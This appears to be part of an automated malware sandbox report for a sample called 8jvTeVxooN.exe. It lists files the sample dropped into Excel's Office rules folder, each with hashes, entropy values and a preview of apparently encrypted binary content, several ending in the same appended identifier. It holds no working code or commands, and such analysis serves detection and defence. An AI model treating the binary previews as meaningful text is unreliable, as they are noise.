VZ)..G...q.dOT.w...............{]d.......QK.69.R&...n.....=..cuo.0.Ek...B./9.9.a....@W..g.N..1.8c.."...A..HW.3P,.........KG,..%.;...h..:..%..X....2..jt..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.877197105962571
Encrypted:	false
SSDEEP:	48:Sm35FL/7YMYwC49MqpfbHBHswc+ZQiN0GsAoSjvsEnD:L9VVpW+ZQibsAjjvVD
MD5:	283158867762FAE477F25617F736A26B
SHA1:	F95D37C7410BC1859B5BD5F6BDC03C0AD57E1EC8
SHA-256:	0CEF626AB6DD53897529F47A7834F376CD2308D9057CE237CC423DF783C0E7B5
SHA-512:	D2F659E47D74EBD45AE4ED3CCA84E0FC68338EBAC45982EE06C5DD42D043F7FB3B32758876C40FD40399DCACD1FEFAD34FAB775EA4573FB6F1D9B0FB1FBE4115
Malicious:	false
Preview:	<?xmlV..#[..vB...1......w.g;.r+.D.W...6:.:4.At...h....O@K...J.RL.9. .b.$..U.O.../h_<!mc.=..~._......O..`.C...+F6.9......w. ....}.zg...p{....X>.E.G..}p_.:...\|...$.v...r......}KD.;tLm@.{e...G...H.Y.xD.......H.6/..CVk.7..i...SB.i.......qo+..EW..o.+$7g.GZ)........T.Z..;f...].g..E1..Mm.~&....g ...3&..J......Z.....yt.T................ =T. b.........ZZ.+....b...t.M...i...W..Vn`..bq.W..p....,s....V_..._.QaU.R z....{z.....=...Q]...;..<:4D..{....u.s.1.`'..%Qx.T.7.BS1...f.i......iXU...@.3.n..ru(.Z?@0...P.1.W.j"3..s.P..ngE..3.Z.....j..........z....,.4.]..m.7......Z...&'........g...R..-......HM...."N...R.Llu.0.S.......>.....~J.g....K..;9.}.Q....;..n.}.+..F)...k....w..o.=.Pui.Zt`..$..z&..KJ..].6.......f=P..E%Z.T.elF..`.!.....W.%~.D.LM$......>..,...4...\.'..:PIV.>@:..8.jR@..}..UQ.^.......qI.'D..;..yW....W%.i...b........\|..Vb....:>............x.(...".........kH..1...*.n..ys..G....5.p.....^.f...G......T.(q"o.C-.y...:WA~u.7....5....\..T}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.898667443248172
Encrypted:	false
SSDEEP:	48:uDJksTSKhuzvautWZD32B/Qr+6m2cliLKs9D:uDBTSV9WJ8jV2cCK8
MD5:	7199F9AB9AB89721EF955AEEBCC81825
SHA1:	05FE48B73F079A4532C596145F5A3D84DF999237
SHA-256:	B6D9985C9A00102EEA4513978AF7E78ACEBE878B496058923224CD017C287C5B
SHA-512:	B57EE76181F50C0F77669C5F3C51CA3C366C0931DAD38FF40BD08692D3A6526B2B60C0E8A8BA89783E42649315B57B9FB42747690B4665C25860CDC456682633
Malicious:	false
Preview:	<?xmlc...-...Oz.`J...'...Y;8;...`}....4C6{..u_S...;..l..R...0Y.r...R.....)"........>9..x..._C.!..U.=3.....>.....f..S.!CP-..e.....h.!._@k.{j.......Dn... )7.......J:L@5...;._........s.N^[...G][.?G....m..g.T..A....c.~..X.k....=A..X..........Z.{...a).y.X..Rx..q...t...F.."g....D..Z..az.R.O:._.k.6..D..)....>k$..x...ya....F...._.W.nR..K.....-^.>-..Q.}....V..oR..?......\|...F%..1.4P.A...M...Y..e..........>..jx.P..R.....IE.1....:..WZ..0.N@Sa.)O...)......D..l.af_.[!8..:u +C2.....~_.....+0..M.k^x.s....J..K....v.....s.7.L.q.6b..#..d.Z.....K...K..... (..'.=~.....`...qd0A.....].x...^D.)......:l#.`7(Y..p...v3....r1.....x2.D...I..d$W.n....ZVro." ...\|...c..d....M....v...pbW.bY......?f.F.F...d...f.I....JSo.....%.qa.8Y....u.Z.L...Cr.U.#. ...O.....?J.1.....I....N...s.:..\|@m..J<......F.......ZH....4..1..x.i...#..bk..WCaAD.N[.....*...$/....G...#.....p._S..h.j.`S.O..FG.vT!..%f..CE...%.L.%[<[..1.}....N..Xu..=Ij,...........-A....9...B.&...n....fo0..6O.c..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.890524267337688
Encrypted:	false
SSDEEP:	48:NhUujUKaa5Ro/QaWptuLBstEyKIyetMmafdhD:jU+U6MhWKL/gtgfdJ
MD5:	FDBDFD0E44100CF115307A79ADC4796A
SHA1:	A2788831932F6CCC2465EC368225C1E116BAC7AF
SHA-256:	11F80EF320CEBE5A3B18A21715940566504433A5EF560731CAF45C2B6245E9B8
SHA-512:	1033CCBBE2A49C083B4622BB4AA04FB53431C1D6FBA8EF3B9BB280F8B5C499B6096039E053596A2E442117DDFAC0FED72F8E1EA918F50C558F6DCAF4E8C453CA
Malicious:	false
Preview:	<?xml...K7Gh...V....(...ZU...<..69...../F"8.'+[....R.....}d....20..z..!.,,4T.)...Q.a.SK.%.ql@....Uqd.<......qb{...$...u...s.Q...m...lu..._<.^O...L.j....I..z.g..}.i<?...ek.K....`.Y..q..V.2......"m=.?.+].u.t.. .5....Y........Vd-S.< ."../.+...5.@2.SA.~..H.V.T...]..gS.o.h..(.z5..#...O0.=.3h..[.I..e..?I.q.F....8.....x..L~.I....h$jMa.R...3.dN.....hL.` .Y..f.)...p.....=..(.N..3.s.:..e....R.)C....U%.cP..}.4... ..r.FF.A..x8.w.<h....j..,ox.0..iB.(.B......./or.....[.....!\l.&l\|..u....5...:yZ.....3.#..8'....4.q.Vd.L.......zK.b[..u.......'b!.+..@\|{.....A......T....H...w..p...6.{..\>.$;.._.o.......;. .7.:sB..`.x..z...kj.o.X....<..H...%..?.7.....>B.&..&../....#c...G~...e....v..2...p......-.VhD.9....P.K...:X....N.....W\.....zJ..R.E%.2......D+..&.r.Lh.I*:...N...M6d...>TM...=....v....7.]...,.....pix{. .....&.......K...?;.:.\..D".(I.....n...}..IN.0A..Q$...U....DD...F.l.......?%)V.V...D..t>+..\|..A..F1.U...W[gR.........?..`......?..T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.875161777592692
Encrypted:	false
SSDEEP:	24:OVGZCHAQWclGiu70WFonE+1rp73khS+wfPun5988jDht8L8RbyQRZQU/f0+9oObD:0I10vn9r90hv0Pq5bZygRbrLQUhtD
MD5:	E0F6F741497295288D2A97C0DB19BA41
SHA1:	3CA66D6968E95F420D8942B1658C4D2E49D8F4A7
SHA-256:	9265E50AEF8D787062489FCC09D25E86123E9E03003DE9D1F08879A60419E0D5
SHA-512:	C57B6595626BD95B7B3B25328A674401DC3CBA7380C895C4F21CA64D4D78BA248316B19834D1A382608EDECD284398116C97C34494D158932B5588B7BEDC13CC
Malicious:	false
Preview:	<?xml...}..Y.T.Y.6...T._.td.....O....D..C.{....m#l?;.i.D..s.G&p..v...[..N.6......D.d..!.............q.dM...Z..r.......l=..].:......,.D..YL.PoT..c..0G.D..i.V..bH.nF.'.I...\|`..>..B.......s....+h...imL..._t^..".P...y.g..........<.....G/..e...~...9.=&.o.....T.@V."4/s']..`A.Z.<..f.M..d...,.x.$.........Y..IO.......^..$.0l....j...hY..Oj."r.iU6...&.....r.D).@...L.xa...b^=v.....U.C.Op...Z..Y..\|.Vt.z>...kJ.k....jqi21.z+c.......CS.hJ.........>...CT..j.R...A.2.....mc....yx.T+.E.\....}-{f&.[.."...H. v.l4L:.].\...........1L...9.(-.B.R..........s7...C.nR.J.k........kj,..W..JCR..8.d.X..(#....%.....^7..H(...p.+...r8.7..7.z........O.}.?....(..{...M._.=.~!b...+.!U.#V..:.{...3~m.07.P.....g.y....}`..~....W.EHJ..ifo8.!...Sao./.Di...-0...v.}.7..n.z...)i...e.#o}.....~.. Q.....d1O........$#`..."."H.x..}.z..&.VlIf..I.cT[$.H.B@?..pz..~...uc...r.I.@V..8."&..iDA...~...D....;...K.....;..C...O....%V.i..&k.O...o....^5C9;.&*L......Gk..,U}y..h...q.P.H2..^w...2H.dmo.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.885001596277027
Encrypted:	false
SSDEEP:	24:VCxgDVF4IfTo0eRlL3lq2AgsG2rKWMXtIqKNdiqNkw+ARBs6dG6dEaCndapHlbuV:/D5SlLs2orc6qWdDNsA7s6dML3HND
MD5:	142753A49405775E860BA1E69F058F7B
SHA1:	E8D85D14367E12E774E46D7E415DB9396B295D7A
SHA-256:	F11A7F933F976A33BB2534EBB33593BF58128C5146BA944296C2C67B95339376
SHA-512:	70469C7BE7339070BE146F918FE620ED7A276890347FDE324ABB6513DDFAF1719878C801072C29D0965DF9EC3E7F427CE0AC9B847B4511E96540DF3C80D31572
Malicious:	false
Preview:	<?xml..kJ...(.$.M`U.+a.O$[..........~<....i..<..?.P}...${ ..M...l.].$....T..K.g..........r.sUq.....N?.H.yd....V...{.?.v\|...O..+^{.S..@._c.F..~L........j..@.e6.].=\|.1..H.5...Z.G..q...99T/.....d...<......LH{r..B.....C...r>.?S`q..\|I..%.....n.+.F.........h....0.^G.x...2!.R...<.#W.r.......F4...L.}/eNB.....X4........k..O\|...'...W.'..C.L...J...{Z{.g..g.....z.l..0iyg..R..G.Qx...f.XR.A..Qv..CA...?v...y....=>A..4.I...y....L........ZM.=....+.C?.....y0.`h....%.?S/.w..u. -.A0vn.v.S...A.....`N.%1Y.J.....\|t.;.<}\|..ha.o^.m0.....}b...w..}..[.rh..K.ji..!.K....1..s...9.[..q.<.t..$..a..LwY\R.`.m.O.......i....n)&..2.7.-.&.....s.9o,.-j....)\....=..i...:.Bk....F.%7..8......_.rh..omO.{..e%5e{.{...."n.M.t....s.~.J......JU.[~u.w......i.K.#;q...o'.D...!........!.-H..}.E'h{.~..wW..+.4?.K]..NN.......4A...].(.HHx~......-Y.j...49../....9...>.....5.....h...36.n...F..Y...v[R......._.\#...f..Cw...>.;.IiKZ9....2.YKe.....>.f.y.$..rL..\....D.......[a.../.VZ6z..Z.D.ep

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.947996668285095
Encrypted:	false
SSDEEP:	48:2MZm1YQ5s6nQBPuLqxNw8CKXUdrgY5yzLQGTbU9JOp7xu6a5O6jRKMh3EQeR6D:zGYQ+/+8CprRynl+64K6vOS
MD5:	5A550A57DACB8D9F233F1DB1360BD62F
SHA1:	1648CF4D2C1D6639A41FA2E00ACF4EB57E5317BB
SHA-256:	CB72A065F4D273453D0D9982E24EE4B67039972414DD9E1C3659C93470E53231
SHA-512:	8F280C8F12D4946090C700491382B4F68AEFCF141F2115590A991776B9870510E21C86FD7CA35F8DDE672F3BCA34CB5EBD90628EB7A2948821D3BF49DC171C1E
Malicious:	false
Preview:	<?xmlx.~yPeW&T....YPdE./5.~h...^,.&.&nb.r.......6y...B.H<K...%....^..tR..Z...&...}.P......5.&.....gu.?......X!.C8=..U..Z......TOJ... .v.)bNZ....c..de5c.A....x..._...?....3...._.9a...y.e.O.....+........q\|.../U.8.7p.].(:o.%i..>..\|....e...#{#o..!.I.3.'.U8b.#...\|h...>N.).o..t@..o..X5.;...T.v.If.\.Y..u...D.g..i.....T.2...l[y7q.#......m.s.g...d:;...x[qj......8%.N=-...](!.e.//..D.>..I..W.UO].....GW>.>{... ......8..6...^...:...c....n...b...J.../7../..)}.V#)........FW..?-.079.....MN.".....sU .d&o.....f...k!...._1S.Cpu:....J.......T.........X..B......f...",C.I.9..z.....`.K ?P..DLs.n..R83.p..;......*j....D_............FH...#.....i....r;,n:.....2....?...>...f.3.Q."...g.s..w."...a._.\........!.....t=8.........gw.k....A...jZ f......+..<....A/.i..............m/.W.q....F>.P#X.}...M!I.jSX.!=.y9.[.^'@_....b3....Twq...'fZ..K.2yr...)..z..e.k..t.G..^.)..3.....4.v.)..l..W~gM.Y..(Q.eE.=.ID....wM.@..Z..I.}%....T....M..HfC".....E....d........-..,.T.\|6s.q.e.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.754863139929347
Encrypted:	false
SSDEEP:	24:M7/XKPDIrb2q94qXuMHwwerT9Zv6/kkqY7lJTObD:Mj6PDsqnnOwwerT9ZiRlGD
MD5:	FBFFEEA1AE4CE07C4FDE208976ECE798
SHA1:	FBE234631002439BEAD37CEF5762D1F1DCA62D88
SHA-256:	B57FA535DF7E2645AA738A9A53345655242B376CC5D9FAAA90F8FB9DBB5920B7
SHA-512:	93B5068C7A37C7DB390090CEA879208511BEF0C7D1C1A3ED57668C53DE1BA028AE586809A4F6AF92F14C53DB62C86787CD408B5707ADE679E0A76319477FA987
Malicious:	false
Preview:	<?xml...T...9i=.-..9U7.4..R..#...#...I..dn...h.Y..!.Ap%z...t?..r..fH.4..^Z...;a.]..m"tg/HG..mM._.V..R.n#J.v6..8.I..-.... .l?..qV...J......e>..v...p..PD.x.L.e..8r B.Z..p....@9 :.....J53.'....;.....w". .M...uM>.....L.]...#......Pg(^cJB\|#^..Gs`..ee.Se.......%}...Ls.8k.c....w..}......{.....S...l..J.0`....^....TUTT..o.I..Z)(..,..y...D=.3NC$...-.+.".....d.d..1.{c."...m3.......S.d.:...Jz....}.N..D\|p'....;].'...m./.e.H.d...5...s.u}G.R_..r$pl.c%N&KL>.n..9n.$4....j<..F...x.B&.(..C.J..].'1,.........T................K.Wj{.o.......!h..;..@16. ..$..V4..%...o...e.S.LTrE...k%/.......2...VF...2..u..2..2_&..2K..F..Nu_..e....&.......F......8.`f0..&....M.`..w=..Lw#...757+.nE.Z.c.......L......4J........+...../.L..%.....C..;..M..'...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.8185172225998105
Encrypted:	false
SSDEEP:	24:qa/wl100DbHy2bX3OFf2jg/G5qk4vZnAL6/6I/gaDjXmqvYY9icczGEObD:qaYJbT3cejgWT4Vk6yCHmMT3cCnD
MD5:	A463DC68D9634E87790E7F0750C47936
SHA1:	941121FD39B5E2624AA139DC8CEFC45AA1326312
SHA-256:	9CA4177A0759C9AFCBF3DA8FCA8ADB2CE99CECC0ABAEC68D98AFB77251D2A212
SHA-512:	8545E093E0B01EC8993D6EF56B447F679E6B68DE2FD97A107F8A2AEFB636247F5CB401D43E782D7E9508778AB6810D5C6348629959899BF536A37B711DAF887A
Malicious:	false
Preview:	<?xmlj.....:H.f95:o}.Vc.5...E.@O........._]..dr.D<Y.......%.0...UrR.H..-Z.A.J.>.j.o....p.#.<......1.....t>Y....;X...........G"j."...a.}.S...T#...=.B.....,[.....M0..~?..^..E@.7.^.A.T.1......U,v.(.}Q...)...gm...i!..........1?...4X..~.DG...[.:/......Y?.Wv..O@{i..W.JA.l..9..K..00..#.....K..!...@.....].....:9M......G...gN@.'Ty<..3k%....4.&.\|.rv]8....2L\|....+...?d.,.C).z.i5.x3.>.Q.k....RX.TO..E...+...._...[S..Y.....UE..#).G"....J.. }....!......I..^..5.)j.S..XW.;.f.?.y.H...H.&.9..\|,0.X..s.f.f.].....G.-\|.$..\.k5.G..v....t?.K...&/..B.'\|..\..5#Y.J}.s.!...t...(1.v.>mXg2a.)...Z.....5..C.......d..V.4W.a....k...S.U...D.....,x.T_..{v..b.(...s.EZ..3....o..Xk.e......%J..z..Yr..?...}..s....x).d....H..V..=.k...@..\|"J.5..o.....a.*..E.."`?...T...@.qAH_..5..{...P.+../..<OfL'rN.....@q.`..\|.y.N.,....i......7+-."...K...\|.odt...M.&x.:...A.....HT........i.C..?n'..\|.uT...u.A.....5....^.>....m..\|.......)>.\|9.!!...@..p.(./V72..J#k-....[.\..%.....V........s{}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.8186413297319115
Encrypted:	false
SSDEEP:	24:/1PlzcpPReHoOleVvocSzjCUt1kQjXfEGroTnOObD:/5lzUReIO4vMdNPE3rRD
MD5:	EC163C293BD652C1D7598E7C5F0A9EDC
SHA1:	A7D8C4649A86B4AF30CBCE08C29E0793EFA877D5
SHA-256:	23D9CF35BB41CE2B28E8C9C85D8139AE38BD83B16B28C435A1D14D392FD30616
SHA-512:	11E22AEC71CC47E672D765AB6F2FDB150AA1CE16EC84812A1387521A83756CC891C43E51F8E04356EB62395E6450C32A1D37308DB74EB1EE46913ED2D7B4FF5C
Malicious:	false
Preview:	<?xml.L.....r/`.z"HYK...n...uX...\.{.......0.3.f.Y.a..c...`..9$Z.... hVR..)F.....g.;...:..fa.7..F>.uT.$.L.....O...)<v...J...HT.-.d1+..$5,.....E.[.....{..z.......b.......6\|w........r/$...%....$..R...f.hC...;......._..i. i..'.h.~...2../G.XL(\|...C...+].x...3...-..K._0G..1...l."...O.[=.9.r.#.u.A..l&s...r. ....m.F..M.}`....6...x..V....8o.x}.fXfO:&...l.....#.S.2.E.o.....t.......4=.D...gS.^..b..>.+..v.1..W..w?.c....;51..)....1n.H.w..G.<0.......o$}H...5..&.{..4.......@.n.F....s......(.;+\|..tq..U.......~<.9....D...u...Z....<.O\|.0.[....?@x%.BL.Ln.1..;i4.9Pe.JQ.V.oz..:..A........cBjW./+..5dP.mc...;f..r.]..?.>7...zo...@..^..,.."...?.>...p.-.F1......s.A....z.......v}.k..6.<.Q.&.{i.i..B?S.yu.P#..$].m.).j.A..=.......1)..+.~!.=....k......e...2...t.....c^ya..T.....P.T.....1............~...D.R#W.Y_aK"..A.H.=}p-....J./..2.e...r6%=2..)..FI.W...........G..U....G&..e.z.g.".;.[+......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.887986546184717
Encrypted:	false
SSDEEP:	48:73ToF1zw5OTMRuedmDuMUOrPONZ67i0UMByKFWD:73Tc1hcsuMUOrm506OO
MD5:	4B712C0E96F766A820B393F0EB44085C
SHA1:	395D0589F0FD00BB3994611B77B1A27D032B3C65
SHA-256:	73A1B0B7A962A5744C4676C2BFD2E58D3C91F8FC901AA011015E7AC82F1967A8
SHA-512:	4442A6A0F645A87AD98F99E7BD93AC89334D3D5721AFF1A4F250864AF4FDFB547EEF7EDFFD968956D62453250C06B8397BE74196B5A7DA960403BE05E3A0796C
Malicious:	false
Preview:	<?xml...G.. #....=(...fe.......`\|>Sm.=K...X....v\Ezm..l.....@[..}...{.N..+.5.$v.-..K.eB.....>.YQ.`.rE...&...E@...[......z6.k.A.R.}2_.Ja....+\|.I0.U......E...x.K.b..[...N...._D......_..(.x.I?..S' d.^.H......^.$...1..U.r.5.E....r6S1.5..O.E.x...q`.8~..7......Ln...~$.".<Sj./.mm(!.6.......?.,...&.z..F....5..\'."..zxN..u~..5.]L6.>..d9..R..v..u....FIZm.^8..yD.r..B.A@$...0......&..F.tc..&.`.....MF...#.o.......55..K...".Ev...=.Q.J.b..7..w....so.;.;....."..g"..{^.nCsK..Gw.....x.R.........m...'..i.~y/...LH.A....j6...E....h.r..E....+_...^a.e....Y.....Q.J...b..\)..fk~.c.x\|N.....{.YP.V..<]J ..z'.m..._...E7u...G....=.t:.ZH}..O........~..0..6..yg..u._.c.k.Dn@.iS..fb...... dT:..A....*........AI1EW..T........M...2ep.hW...n{7...\|.x.=....}].W+.VZ.(..DKH.z...x/p........0....g.(7..R3\|..._M......n%&...q..(........x......]....:J.....@.,........SU.....n.F..Q.........p=.b$m-P.... .0...k.n.O..^..._2.9.Z......&..3.+...p.n......^.+nq..{..x.P..."....L.......]B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.9023360689700555
Encrypted:	false
SSDEEP:	48:GzkAQTgCfK/+z/G+BKZ2rbwS6KgkcYU+KllN+OD:GQ0WKGOP2rb/6btYU+KllN+2
MD5:	588C2777E293A289190BCB2E6ECEF165
SHA1:	8BE8D8D9F9ED5CC0128D635B410B08570B751BFD
SHA-256:	71BE1569D25D3B8EB0D682AF2BBDBC853BA01CEA2B9A2F24FF6F7B7C44F1F1D2
SHA-512:	AAC669FFB9534D5F884A4963F08B4AA0E37148B8005DC8E39FF00A88296F8C80788A3929432A4782250D3D921C08940C9551D77B37F369711853245DDD1D76A9
Malicious:	false
Preview:	<?xml..e...B.Dot!.E...1$...A....(;.2.cR...V..&..../..e..>.dc...N..C.'../.{..&.Q`#.%>/io6(..S.....0..Y..........,.@I......OS..=.._./.G.b.!2..^...a.L..3=^...#5...>.6..%a.....S.9...K.b..M).k...O....KG.p.\......Z.#.........#w.d.q.d...._.+V....~.u.m"N5~.7...\KH .a.Ptp..0............qJ.._...,D..p.G..iT....yS..gf./.]...uV.-N$U.&%...jI.M.)Ql.<}\.P.b.8Zoc......r..&...{..=..Z..... Q.`.^......#xA..!.%.. 0...k.8...x.k?m..g.^..N...t...0..]..B&{w.....z\..r...LGl.}.....AR..:.....l..2.<\|.nI..J._.gDc..H.i.}\{n.4........p....... .e.!!1._..}-..\|RDB......G..._^.A.0.K.<..l.MPb.....[.d.... ov..l.3...P..K"....4.i..S.......)......:.i..}.U.......#.Z&...L.i..;K..s...W.&J.d..KF;S.n.C...q.\&.M. .Y.. '......d....@..K..s..6...g..{........I[.^...b...J..h.%.fH..8@:...+..(....0..U...$A..a&E.g..<.....K.3.f.P[R/....]Ht9(ILC..ih..2..M...l?..I.k.....0.O....._1.d.v..........-..?.-...-t......1.>.D.{.9..M.qv.....w.'bT..v..d....h......U....z...F....bP...s.c.A.v..=....w\|./.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.73550309040462
Encrypted:	false
SSDEEP:	12:xCnNyOhredULp/A8EpA+tw9uwuVIyjmcEJNbujw+skXzLN/+lsS4hVzuKuOcii9a:xor+U9ZH+tbTjcbGVzLMlsTgObD
MD5:	86782CE7BEC090633BF1E31327DD6929
SHA1:	B013E771C03306A457D9072E91B7476A33E03143
SHA-256:	184C2EC03FB261AEC1690A78B17C2D60CD9E00E34C22CB2ACACCF67B9698D0A0
SHA-512:	3DBFFEEB42A3F40AB636B25C3AF783D4919170A2550E71B6AC77431096C93124C96645B8629C15E02D077D9F652FAD29B36C597213D2591F48424F9D7CDBF42C
Malicious:	false
Preview:	<?xml8{=u.(......P...'...0..L......~.......A.k\.Zc.a.X.}jl.'.4..dc.ipu....c$.yt.....U......C.B..).....%`..k...5......4 .+W.....z.P$J....U"5....!...9.b..=.=..Y.pA.;.....-.3...~V].K.I.)....oZ.n.l.g..D.'!.Z.2/....(OFR...s....+.(zA......,.....Rp........@@<.w......4.y..R.en..A?..A__.4.u.-....6...\|...D...9..6-.4.C.g<[..H..........`.`....a.102P6..P.6.).b...M.~.NTpjO..2Q.......e.T..0e..^..H.....A....>\|.cz....v...u....0h7..@;.f.....q<,.l.<.U#m~.y.%.C...Z..$......yS_....".^.9c\2.&.'....J/U..z}n..>...%.C.%9..l./..........`.Z................h..1-e@....F.B....)8...DaL..`... i..P .U~.......`ns..a.oU.V..P.].Y..=U.qD.<;_.H...c.......}xBL.. ..2..W....R6H.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.712599316716061
Encrypted:	false
SSDEEP:	24:Z37RyVzVaYlZBTvubASe2OwTikFngECUVpObD:J7RyH1NubJ2wTtFnglD
MD5:	3684334AE5F7BA5B3ABF7EEAC22CE00C
SHA1:	D19924585B18B7B45B45206F778E9826F72CF194
SHA-256:	0B24ABC92938BEC20498661B55F67E0F35A22B3F395A76517A1A79EDF6B72D96
SHA-512:	196D1F5D9E42C7D675DCFA4C67005A2C64A0EA94F26BB711A6E3D94A5C62A51C171244BF267527E17F7267B3F0D1A3C62CA535DEF9730D957A60FF1FF19DB82D
Malicious:	false
Preview:	<?xml..0..>.....p=.O..J.G.".~mfi.R....!...U.v.. 1B.........\|..L...M..p.......-.2.....c..U_.@1...s....^..!&.R..e*.....q.F......`..k. Z....ZG\|....?t..F;2h...W.S.7..Pu..o.],.l):@i-....Ir.].7.T'N......9...c......%..H.B.`2^.Q..d..g.........<...J%....-..B..c..Rz.Y......O4$....]...l.H.G.....{.I,...I..HB........Z.2.f.."...9$.Mj.?.+.%.m..p.4........G^D..O...h_\|.+W....o...O[..D].Y.>.H....)X....V..m18.3..'..8.l..{..<&.T}K.{..%..P..Z...W\|......6j..........iy&<....../..}.....`AY.^.......@.(..tO].CI......{pkAT..B/.5.9.DXm.?....I.s.IX...b..>._..p...$..e.v..im`Xg.I_Z....."...b...jv..g...s.i.9.O>o..B4w..\|.H...n..pl@.@kw.i)......rm...e.3..e.E.+.u.9.....'.".Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.905070018361901
Encrypted:	false
SSDEEP:	48:q8EyQFksVwx0Ytwg+gWHXH1TQxaHxxXXnSetdJD:q5J6sVM0YtwgUdfTXTDh
MD5:	B1962CE7F6B16FA43327C3122CCF82EF
SHA1:	BB50410AC89D2692D00E1791C489B97C437324BD
SHA-256:	CA63803FC0E630FF541406756239E5B49FE877C952F6D2B4D65470E4F031C0C8
SHA-512:	490BFC8DC06BCE73682194040F8C70B60C737546F359CC5C9BA214FDB7A759B3769F2D988133461CCEED12CD1932403BF5E975F938A4871591294C7EEBB89780
Malicious:	false
Preview:	<?xml.M.;.=...B..0...u.....TZN.......9^.16..o...(.7~."s=.G.wV.....A.B....."...A..1.N...............D.P..Q_>^<.@..,.L.6...u.C.uE.o]&...wp....X.9j.Q7.CG>... ..2......5C.Z.W..]Y....a..\....5.wa...q.s;.{.aB..Q&.Ea1....#...0.....fX.HD.18.q.8.q.xx....^C.t..D.[.#...\|.c.^..)..e.U..@.E.a9..Tl. _G4...z..V.?}..i../..16.R..... Xj..i.3...Ae...;>.w.CE..CV._...i..v.....,......;X+..~.h.....:.N.ms....y0....$..x#..]....0+\`=..<.2.j7p;....}..H^..I.Z.0q...!....M....@..t.. .Z."...z........!.O.6.`.".;..._........8.Dc:...f9v....[...7.y.P.............j.l}}.j...^.. ..[ee#.<....oi3E..........g.`F......o...i6.....(r..?..:OQ...4..B.......AH)H'.K..........H... S.O..........aO"0...\|=..aU.A...I.....J......5a.....w.u..q....VC%.O..G..Pb.....xj....v....{.QJ.s#..U.]O#W...d...L.].k.RA...m.`].DKw.MI.../p.S\..l]..!.....Z.r.s..;...nva.o.G......w......{.k.j"W...G.3..d......xmu.K..DR[.....{....+C....M.E.R..;..ef..Q...v.&9....mx.....;...0.Pe.,..C-..*..J.}.5...@....aY.H.%.fOn..g$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.896772202684009
Encrypted:	false
SSDEEP:	24:luVzj/MSD6vru16rTPRTTpUB69gq3pLb+euaQPKVQalTmZ9F8zBVh97JoakTnH2U:l6MQqu69g4LP3aKJl6SzBV5o3TnHPD
MD5:	A6A04F1732C6BC5CAF1D0365CCE1D433
SHA1:	189EB2CD14869B87C9B6C9DAC6F29BC7F98E9C99
SHA-256:	BA938BD699E23F4F9A23F70D8DCE1049196E27E1594E21852F7E922860F33F5E
